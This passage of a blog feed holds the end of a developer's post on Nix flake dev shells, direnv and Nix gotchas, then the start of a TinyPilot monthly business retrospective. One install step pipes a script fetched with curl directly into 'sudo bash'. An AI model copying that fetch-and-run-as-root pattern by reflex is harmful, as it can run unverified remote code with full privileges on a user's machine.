&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ nix develop
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>warning: updating lock file &lt;span style="color:#ed9d13">&amp;#39;/home/mike/example/flake.lock&amp;#39;&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>• Added input &lt;span style="color:#ed9d13">&amp;#39;shellcheck-nixpkgs&amp;#39;&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#39;github:NixOS/nixpkgs/8b5ab8341e33322e5b66fb46ce23d724050f6606&amp;#39;&lt;/span> (2023-09-19)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Python 3.12.0
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>shellcheck version: 0.9.0
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Everything&amp;rsquo;s looking good. &lt;code>shellcheck&lt;/code> reports version 0.9.0, the version I requested.&lt;/p>
&lt;p>Now, it&amp;rsquo;s time to run &lt;code>shellcheck&lt;/code> against my &lt;code>run.sh&lt;/code> script.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ shellcheck -o all run.sh
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>In run.sh line 6:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>python &lt;span style="color:#40ffff">$MAIN_SCRIPT&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ^----------^ SC2248 (style): Prefer double quoting even when variables don&lt;span style="color:#a61717;background-color:#e3d2d2">&amp;#39;&lt;/span>t contain special characters.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ^----------^ SC2250 (style): Prefer putting braces around variable references even when not strictly required.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Did you mean:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>python &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">MAIN_SCRIPT&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>For more information:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> https://www.shellcheck.net/wiki/SC2248 -- Prefer double quoting even when v...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> https://www.shellcheck.net/wiki/SC2250 -- Prefer putting braces around vari...
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Hey, it worked!&lt;/p>
&lt;p>This feels small, but it solves a major problem I&amp;rsquo;ve had in the past. I like running &lt;code>shellcheck&lt;/code> as a git pre-commit hook in all of my projects, but I&amp;rsquo;ve always had to depend on a single, system-wide version of &lt;code>shellcheck&lt;/code>. If I see that &lt;code>shellcheck&lt;/code> has new rules I want to apply to one of my projects, my pre-commit hooks will potentially start failing for &lt;em>all&lt;/em> of my projects.&lt;/p>
&lt;p>Nix allows me to bind each project to the version of the linter I want to run. That means I can upgrade to new linters on a per-project basis rather than sharing a single version globally.&lt;/p>
&lt;h2 id="using-direnv-to-automatically-load-the-nix-development-shell">Using &lt;code>direnv&lt;/code> to automatically load the Nix development shell&lt;/h2>
&lt;p>I have my Nix dev shell working, but it means that every time I open a new terminal window, I have to type &lt;code>nix develop&lt;/code> to enter my shell.&lt;/p>
&lt;p>Can I automate this? It turns out I can by using &lt;a href="https://direnv.net/">&lt;code>direnv&lt;/code>&lt;/a>.&lt;/p>
&lt;p>&lt;code>direnv&lt;/code> automatically loads your Nix shell whenever you &lt;code>cd&lt;/code> into your project&amp;rsquo;s directory. When you &lt;code>cd&lt;/code> out of it, &lt;code>direnv&lt;/code> automatically unloads the shell.&lt;/p>
&lt;p>&lt;code>direnv&lt;/code> is available as a normal &lt;code>apt&lt;/code> package, but, annoyingly, on Debian Bullseye and earlier, the latest available package is 2.25.0.&lt;/p>
&lt;p>Since I&amp;rsquo;m using Nix flakes, I need &lt;code>direnv&lt;/code> &lt;a href="https://github.com/direnv/direnv/releases/tag/v2.29.0">2.29.0&lt;/a> or later, so I&amp;rsquo;ll use the official &lt;code>direnv&lt;/code> installer instead:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>curl -sfL https://direnv.net/install.sh &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> | sudo &lt;span style="color:#40ffff">bin_path&lt;/span>=/usr/local/bin bash &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> &lt;span style="color:#24909d">echo&lt;/span> &lt;span style="color:#ed9d13">&amp;#39;eval &amp;#34;$(direnv hook bash)&amp;#34;&amp;#39;&lt;/span> &amp;gt;&amp;gt; ~/.bashrc &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> . ~/.bashrc
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Running &lt;code>direnv&lt;/code> with the &lt;code>--version&lt;/code> flag indicates I&amp;rsquo;m using the latest version available:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ direnv --version
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>2.32.3
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>To enable &lt;code>direnv&lt;/code> for my project, I need go to the directory where I have my Nix flake, and run the following commands:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">echo&lt;/span> &lt;span style="color:#ed9d13">&amp;#39;use flake .&amp;#39;&lt;/span> &amp;gt; .envrc &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> direnv allow
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Now, &lt;code>direnv&lt;/code> will automatically load my Nix environment anytime I &lt;code>cd&lt;/code> into my project directory and unload it when I exit the directory.&lt;/p>
&lt;h2 id="creating-dev-shells-for-projects-you-dont-own">Creating dev shells for projects you don&amp;rsquo;t own&lt;/h2>
&lt;p>If you love dev shells like I do, you&amp;rsquo;ll want to use them in every project you work on.&lt;/p>
&lt;p>What do you do when you&amp;rsquo;re working in someone else&amp;rsquo;s repository, and they don&amp;rsquo;t want to adopt Nix at all?&lt;/p>
&lt;p>The easiest way to handle this situation is to create a dedicated directory for your Nix flake, and put the third-party repo in a folder within that directory, like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>├── examplerepo/ &amp;lt;&amp;lt; The actual git repo
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>├── flake.lock
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>└── flake.nix
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I explain this in more detail in &lt;a href="https://mtlynch.io/notes/use-nix-flake-without-git/">&amp;ldquo;Use a Nix Flake without Adding it to Git&amp;rdquo;&lt;/a>.&lt;/p>
&lt;h2 id="every-new-dependency-makes-initialization-slower">Every new dependency makes initialization slower&lt;/h2>
&lt;p>The biggest downside I&amp;rsquo;ve found with Nix dev environments is that the environment load times are slow. &lt;code>cd&lt;/code>ing into a directory is normally something that happens in milliseconds, but if I need to load my Nix environment, it can take 5-10 seconds.&lt;/p>
&lt;p>Worse, the more dependencies you have, the slower the load time becomes. Nix has to maintain &lt;a href="https://web.archive.org/web/20260204215656/https://zimbatm.com/notes/1000-instances-of-nixpkgs/">a separate instance of &lt;code>nixpkgs&lt;/code>&lt;/a> for each dependency, so every new dev tool I want available means I have to pay a penalty in directory load time.&lt;/p>
&lt;p>Unfortunately, I haven&amp;rsquo;t found a workaround for this issue.&lt;/p>
&lt;h2 id="i-dont-have-a-good-solution-for-nix-in-ci">I don&amp;rsquo;t have a good solution for Nix in CI&lt;/h2>
&lt;p>Since I&amp;rsquo;m doing all this work to create an independent, reproducible development environment for my project, I naturally want to reuse this environment when I run my code in continuous integration (CI). Unfortunately, I haven&amp;rsquo;t found a practical way of integrating Nix into my CI workflows.&lt;/p>
&lt;p>The problem with Nix in CI is that Nix has to do a lot of work up front to create its own environment. On my local development systems, Nix takes 60-180 seconds to initialize its environment for the first time, usually downloading multiple gigs of data from package servers.&lt;/p>
&lt;p>The slow initialization is annoying but tolerable on my local system because the initialization only has to happen once. On CI, it&amp;rsquo;s a bigger problem because it means that simple CI steps that used to run in 10 seconds now balloon to 2 minutes of initializing Nix plus 10 seconds of doing the thing I care about.&lt;/p>
&lt;p>I tried using &lt;a href="https://www.cachix.org/">Cachix&lt;/a>, a Nix-specific cloud cache. It &lt;a href="https://github.com/cachix/cachix/issues/579#issuecomment-1737809187">maybe helped&lt;/a>, but I never found a way to reduce the initial load time below 90 seconds per CI step.&lt;/p>
&lt;p>There are a few CI solutions built specifically around Nix (&lt;a href="https://garnix.io/">Garnix&lt;/a>, &lt;a href="https://hercules-ci.com/">Hercules&lt;/a>, and &lt;a href="https://smithy.build/">smithy&lt;/a>), but I haven&amp;rsquo;t tried them. I&amp;rsquo;m hoping to use Nix in the CircleCI environment I already know well rather than have to learn a whole new CI system.&lt;/p>
&lt;h2 id="my-dream-feature-nix-manages-language-specific-dependencies">My dream feature: Nix manages language-specific dependencies&lt;/h2>
&lt;p>One thing that Nix &lt;em>seems&lt;/em> capable of doing but I haven&amp;rsquo;t figured out how, is managing language-specific dependencies.&lt;/p>
&lt;p>For example, if I use Nix to create a Python 3 project with a list of pip dependencies in a &lt;code>requirements.txt&lt;/code> file, I&amp;rsquo;d love for Nix to say, &amp;ldquo;Hey, your &lt;code>requirements.txt&lt;/code> changed! I&amp;rsquo;ll update your environment to match.&amp;rdquo; Ditto for Node.js and my &lt;code>package.json&lt;/code> file. But so far, I don&amp;rsquo;t see a way to make Nix monitor files like that.&lt;/p>
&lt;p>I&amp;rsquo;ve seen &lt;a href="https://github.com/nix-community/poetry2nix">poetry2nix&lt;/a>, but I haven&amp;rsquo;t tried it, as I don&amp;rsquo;t use Poetry in my Python projects. But if any readers have suggestions of how to achieve the functionality I&amp;rsquo;m imagining, let me know in the comments.&lt;/p>
&lt;p>&lt;strong>Update (2023-10-28)&lt;/strong>: I discovered that &lt;a href="https://pyproject-nix.github.io/pyproject.nix/use-cases/requirements.html">pyproject.nix supports plain &lt;code>requirements.txt&lt;/code> files&lt;/a>, so I&amp;rsquo;m now &lt;del>&lt;a href="https://github.com/mtlynch/python3_seed/blob/81998e07eaafa8e64f39e771402d2d11c2eeb4e4/flake.nix">using that&lt;/a>&lt;/del>.&lt;/p>
&lt;p>&lt;strong>Update (2025-01-17)&lt;/strong>: I&amp;rsquo;ve stopped using pyproject.nix, as I find it too confusing. It seems to only work with PyPI packages that Nix maintainers have specifically ported to Nix, and it fails confusingly on everything else.&lt;/p>
&lt;h2 id="gotchas">Gotchas&lt;/h2>
&lt;p>As with every Nix adventure, there are a ton of gotchas to Nix dev environments. I&amp;rsquo;ve listed below the ones that I&amp;rsquo;ve encountered so far.&lt;/p>
&lt;h3 id="nix-needs-flakenix-to-be-in-git">Nix needs &lt;code>flake.nix&lt;/code> to be in git&lt;/h3>
&lt;p>One strange quirk of Nix flakes is that if they&amp;rsquo;re in a directory that&amp;rsquo;s under git source control, but you haven&amp;rsquo;t &lt;code>git add&lt;/code>ed the &lt;code>flake.nix&lt;/code> file to your repo, you&amp;rsquo;ll see a confusing error like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>error: getting status of &amp;#39;/nix/store/66snibk6a9y3dbam1ww7fj0bdrh0ylw6-source/flake.nix&amp;#39;: No such file or directory
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>If this happens, you can fix it with &lt;code>git add flake.nix&lt;/code>. You don&amp;rsquo;t even have to commit the change — just adding the flake is enough.&lt;/p>
&lt;h3 id="go-failure-to-link-to-libc">Go: Failure to link to libc&lt;/h3>
&lt;p>In my Go projects that depend on CGO, I&amp;rsquo;ve encountered this error when I try to compile my code from a Nix dev environment:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>runtime.gcdata: missing Go type information for global symbol .dynsym: size 72
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>runtime/cgo(.text): relocation target stderr not defined
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>runtime/cgo(.text): relocation target fwrite not defined
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>runtime/cgo(.text): relocation target vfprintf not defined
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>It looks like Go is failing to link my binary against libc. It&amp;rsquo;s similar to &lt;a href="https://github.com/golang/go/issues/44695">this issue&lt;/a> that affects Zig users.&lt;/p>
&lt;p>I tried adding &lt;code>libc&lt;/code> and &lt;code>musl&lt;/code> to my Nix environment&amp;rsquo;s list of packages, but they have no effect.&lt;/p>
&lt;p>The only thing that fixes the linking issue is compiling my Go app with &lt;code>-tags=netgo,osusergo&lt;/code>. I have no idea why that works.&lt;/p>
&lt;p>See my &lt;a href="https://github.com/mtlynch/picoshare/blob/1.4.0/flake.nix">PicoShare&lt;/a> flake and &lt;a href="https://github.com/mtlynch/picoshare/blob/1.4.0/dev-scripts/build-backend">build script&lt;/a> for a complete example of building multiplatform Go binaries in a Nix environment.&lt;/p>
&lt;h3 id="golang-version-x-does-not-match-go-tool-version-y">Golang: version X does not match go tool version Y&lt;/h3>
&lt;p>On some of my systems, I started seeing these errors when I ran my build scripts:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>compile: version &amp;#34;go1.18.4&amp;#34; does not match go tool version &amp;#34;go1.19.6&amp;#34;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>It turned out that my &lt;code>GOROOT&lt;/code> environment variable pointed to a version of the Go compiler outside of my Nix environment.&lt;/p>
&lt;p>The quick fix was to run this command:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">unset&lt;/span> GOROOT
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The permanent fix was to search &lt;a href="https://unix.stackexchange.com/a/249922/152974">all the files on my system that set environment variables&lt;/a> and locate the one that was setting &lt;code>GOROOT&lt;/code>. After I deleted the line that was assigning a value to &lt;code>GOROOT&lt;/code>, I had to reboot my system — starting a new shell was not enough.&lt;/p>
&lt;h3 id="old-package-versions-dont-work">Old package versions don&amp;rsquo;t work&lt;/h3>
&lt;p>I&amp;rsquo;ve tried certain older versions of packages, and they flat-out don&amp;rsquo;t work.&lt;/p>
&lt;p>For example, if I choose nixpkgs version &lt;code>b4e193a23a1c5d8794794e65cabf1f1135d07fd9&lt;/code> for &lt;code>python39&lt;/code>, it not only breaks Python, but it breaks &lt;code>shellcheck&lt;/code> as well:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>• Updated input &amp;#39;python-nixpkgs&amp;#39;:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &amp;#39;github:NixOS/nixpkgs/e2b8feae8470705c3f331901ae057da3095cea10&amp;#39; (2023-10-03)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> → &amp;#39;github:NixOS/nixpkgs/b4e193a23a1c5d8794794e65cabf1f1135d07fd9&amp;#39; (2021-02-19)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>environment:2863: python: command not found
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>environment:2864: shellcheck: command not found
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>My best guess is that a nixpkg version that old predates compatibility with Nix flakes, a new and still not officially supported feature of Nix.&lt;/p>
&lt;h2 id="some-of-my-nix-dev-flakes">Some of my Nix dev flakes&lt;/h2>
&lt;p>Here are a couple of Nix dev flakes I&amp;rsquo;ve made so far:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://github.com/mtlynch/picoshare/blob/1.4.0/flake.nix">PicoShare&lt;/a> - A Go web app&lt;/li>
&lt;li>&lt;a href="https://github.com/mtlynch/mtlynch.io/blob/97c748f8b3900e74fff98a7c06842dcfe457b38e/flake.nix">mtlynch.io&lt;/a> - A hugo-based blog with Node.js dependencies&lt;/li>
&lt;li>&lt;a href="https://github.com/mtlynch/python3_seed/blob/81998e07eaafa8e64f39e771402d2d11c2eeb4e4/flake.nix">python3_seed&lt;/a> - A basic Python app with &lt;code>requirements.txt&lt;/code> dependencies&lt;/li>
&lt;/ul>
&lt;h2 id="references">References&lt;/h2>
&lt;p>I had a hard time figuring out how to get Nix development environments working, as I couldn&amp;rsquo;t find many documented examples.&lt;/p>
&lt;p>The piece that finally made Nix environments click for me was &lt;a href="https://gist.github.com/toraritte/62e53be9e6d88d8b6b97391eb3c6558b#22-pin-nixpkgs-in-a-nix-expression">Attila Gulyas&amp;rsquo;s detailed guide&lt;/a>.&lt;/p></content:encoded></item><item><title>TinyPilot: Month 39</title><link>https://mtlynch.io/retrospectives/2023/10/</link><pubDate>Tue, 17 Oct 2023 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2023/10/</guid><description>&lt;div class="notice notice-info">
 &lt;p>&lt;strong>New here?&lt;/strong>&lt;/p>
&lt;p>Hi, I&amp;rsquo;m Michael. I&amp;rsquo;m a software developer and the founder of &lt;a href="https://tinypilotkvm.com">TinyPilot&lt;/a>, an independent computer hardware company. I started the company in 2020, and it now earns $80-100k/month in revenue and employs six other people.&lt;/p>
&lt;p>Every month, I publish a retrospective like this one to share how things are going with my business and my professional life overall.&lt;/p>

&lt;/div>

&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I&amp;rsquo;m trying to work around manufacturer delays.&lt;/li>
&lt;li>I&amp;rsquo;ve decided to hang onto TinyPilot&amp;rsquo;s office for two more months.&lt;/li>
&lt;li>I&amp;rsquo;m planning my escape from a miserable seller experience on RapidAPI.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p></description><content:encoded>&lt;div class="notice notice-info">
 &lt;p>&lt;strong>New here?&lt;/strong>&lt;/p>
&lt;p>Hi, I&amp;rsquo;m Michael. I&amp;rsquo;m a software developer and the founder of &lt;a href="https://tinypilotkvm.com">TinyPilot&lt;/a>, an independent computer hardware company. I started the company in 2020, and it now earns $80-100k/month in revenue and employs six other people.&lt;/p>
&lt;p>Every month, I publish a retrospective like this one to share how things are going with my business and my professional life overall.&lt;/p>

&lt;/div>

&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I&amp;rsquo;m trying to work around manufacturer delays.&lt;/li>
&lt;li>I&amp;rsquo;ve decided to hang onto TinyPilot&amp;rsquo;s office for two more months.&lt;/li>
&lt;li>I&amp;rsquo;m planning my escape from a miserable seller experience on RapidAPI.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="shift-manufacturing-to-our-contract-manufacturer-as-quickly-as-possible">Shift manufacturing to our contract manufacturer as quickly as possible&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: I&amp;rsquo;m continuing to get the manufacturer unblocked wherever possible.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>Honestly, there hasn&amp;rsquo;t been much to do from my end. The limiting factor has been shipments from the manufacturer&amp;rsquo;s upstream vendors.&lt;/p>
&lt;h3 id="delegate-tasks-for-clearing-the-tinypilot-office">Delegate tasks for clearing the TinyPilot office&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: I&amp;rsquo;ve assigned tasks for inventorying and clearing the office.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: B-&lt;/li>
&lt;/ul>
&lt;p>I ended up deciding to &lt;a href="#slowing-down-the-transition-to-fully-remote">stay in the office&lt;/a> for another two months due to manufacturing delays, but we&amp;rsquo;re still on track to clear most inventory by the end of October.&lt;/p>
&lt;h3 id="use-up-all-remaining-raspberry-pis-to-build-tinypilot-devices">Use up all remaining Raspberry Pis to build TinyPilot devices&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: We&amp;rsquo;ve used all the Raspberry Pis to build new or refurbished devices.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>Our assembly went according to plan, and now all of our new devices are at the warehouse. We&amp;rsquo;re on track to sell off our refurbished devices in the next few weeks.&lt;/p>
&lt;h2 id="tinypilot-stats">&lt;a href="https://tinypilotkvm.com/">TinyPilot&lt;/a> stats&lt;/h2>
&lt;div class="finances-chart">
 &lt;canvas id="tinypilot-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>August 2023&lt;/th>
 &lt;th>September 2023&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>6,900&lt;/td>
 &lt;td>6,200&lt;/td>
 &lt;td>&lt;font color="red">-700 (-10%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Sales Revenue&lt;/td>
 &lt;td>$91,670.46&lt;/td>
 &lt;td>$83,380.02&lt;/td>
 &lt;td>&lt;font color="red">-$8,290.44 (-9%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Enterprise Subscriptions&lt;/td>
 &lt;td>$290.70&lt;/td>
 &lt;td>$290.70&lt;/td>
 &lt;td>0&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Royalties&lt;/td>
 &lt;td>$2,969.62&lt;/td>
 &lt;td>$2,056.30&lt;/td>
 &lt;td>&lt;font color="red">-$913.32 (-31%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Revenue&lt;/td>
 &lt;td>$94,930.78&lt;/td>
 &lt;td>$85,727.02&lt;/td>
 &lt;td>&lt;font color="red">-$9,203.76 (-10%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Profit&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$28,454.42&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$8,644.82&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$19,809.60 (-70%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Revenue is down a bit, but $80k/month +/- $10k is about our norm, so I&amp;rsquo;m not too concerned. My priority right now is sticking the landing on our manufacturing transition.&lt;/p>
&lt;p>Our short-term profit is down because we paid for three months&amp;rsquo; worth of Raspberry Pis this month, but our three-month trailing profit is still healthily above $20k/month.&lt;/p>
&lt;h2 id="correcting-issues-in-the-first-article-sample">Correcting issues in the first article sample&lt;/h2>
&lt;p>In September, we received the first article sample from our manufacturer. It was the first end-to-end production sample of the Voyager 2a made in the manufacturer&amp;rsquo;s facility.&lt;/p>
&lt;p>Unfortunately, the first article sample didn&amp;rsquo;t go so well.&lt;/p>
&lt;p>Paint was chipping on two out of the four samples, and the rubber feet had fallen off three of them. The cabling was disconnected on one of the devices, which prevented it from capturing audio. When I held the device sideways, the fan started scraping the case.&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/retrospectives/2023/10/chipping-paint.webp">
 &lt;img
 
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2023/10/chipping-paint_hu_62b51ebbadb86814.webp 300w, https://mtlynch.io/retrospectives/2023/10/chipping-paint_hu_558dcb8a362166f8.webp 600w, https://mtlynch.io/retrospectives/2023/10/chipping-paint_hu_c4482d5b059909ce.webp 800w, https://mtlynch.io/retrospectives/2023/10/chipping-paint_hu_b6286df5a3887936.webp 1200w, https://mtlynch.io/retrospectives/2023/10/chipping-paint.webp 2138w'
 src="https://mtlynch.io/retrospectives/2023/10/chipping-paint.webp" alt="Photo of paint chipping on TinyPilot logo on case" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 250px">



 &lt;a href="https://mtlynch.io/retrospectives/2023/10/no-feet.webp">
 &lt;img
 
 sizes="(min-width: 768px) 250px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2023/10/no-feet_hu_2c583a1d5d902bf1.webp 300w, https://mtlynch.io/retrospectives/2023/10/no-feet_hu_6f6fb5c43bb6697a.webp 600w, https://mtlynch.io/retrospectives/2023/10/no-feet_hu_67a94f62b5e9c96.webp 800w, https://mtlynch.io/retrospectives/2023/10/no-feet_hu_84793e4093025bb2.webp 1200w, https://mtlynch.io/retrospectives/2023/10/no-feet.webp 3082w'
 src="https://mtlynch.io/retrospectives/2023/10/no-feet.webp" alt="Photo of case bottom with feet detached" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>The first article samples had issues with paint chipping and rubber feet detaching in transit.&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;p>The issues in the sample worried me.&lt;/p>
&lt;p>First, it was worrying that so many things went wrong on a small sample that was supposed to show their ability to make a full batch.&lt;/p>
&lt;p>Second, it suggested not only a problem with the assembly process but with QA as well. How did an independent QA review miss things like chipped paint and non-functional audio?&lt;/p>
&lt;p>After talking with the CEO, it turned out that the manufacturer did &amp;ldquo;extra&amp;rdquo; QA on the batch, but the additional checks actually introduced new issues.&lt;/p>
&lt;p>The CEO discovered that the manager overseeing the work wiped the devices with alcohol swabs to get rid of fingerprints on the metal, but the alcohol caused the paint to chip. They adjusted their process to prohibit alcohol wipes on the cases and to assemble the devices with gloves to prevent fingerprint smudges.&lt;/p>
&lt;p>The CEO believed that the manager may have opened the devices after QA and accidentally disconnected wires, so now the QA process forbids opening the devices after the functional test is complete.&lt;/p>
&lt;p>The manufacturer believed that the packaging caused the feet to detach, as the box stressed the weakest point of the feet. They&amp;rsquo;ve updated the packaging to avoid that issue.&lt;/p>
&lt;p>I was still a bit worried that something was lost in translation about our QA process, so I requested videos of how the manufacturer was performing QA. Fortunately, it matched our process, so I&amp;rsquo;m hopeful that we&amp;rsquo;ve caught the major issues.&lt;/p>
&lt;h2 id="how-do-i-handle-the-manufacturing-schedule-slip">How do I handle the manufacturing schedule slip?&lt;/h2>
&lt;p>In the original manufacturing schedule, we expected to receive the first production batch by September 15th. I estimated at the time that my in-house inventory would last until the end of October, giving me six weeks of buffer for delays.&lt;/p>
&lt;p>The problem is that we&amp;rsquo;ve exhausted my safety buffer and are at risk of running out of inventory before the first production batch is ready.&lt;/p>
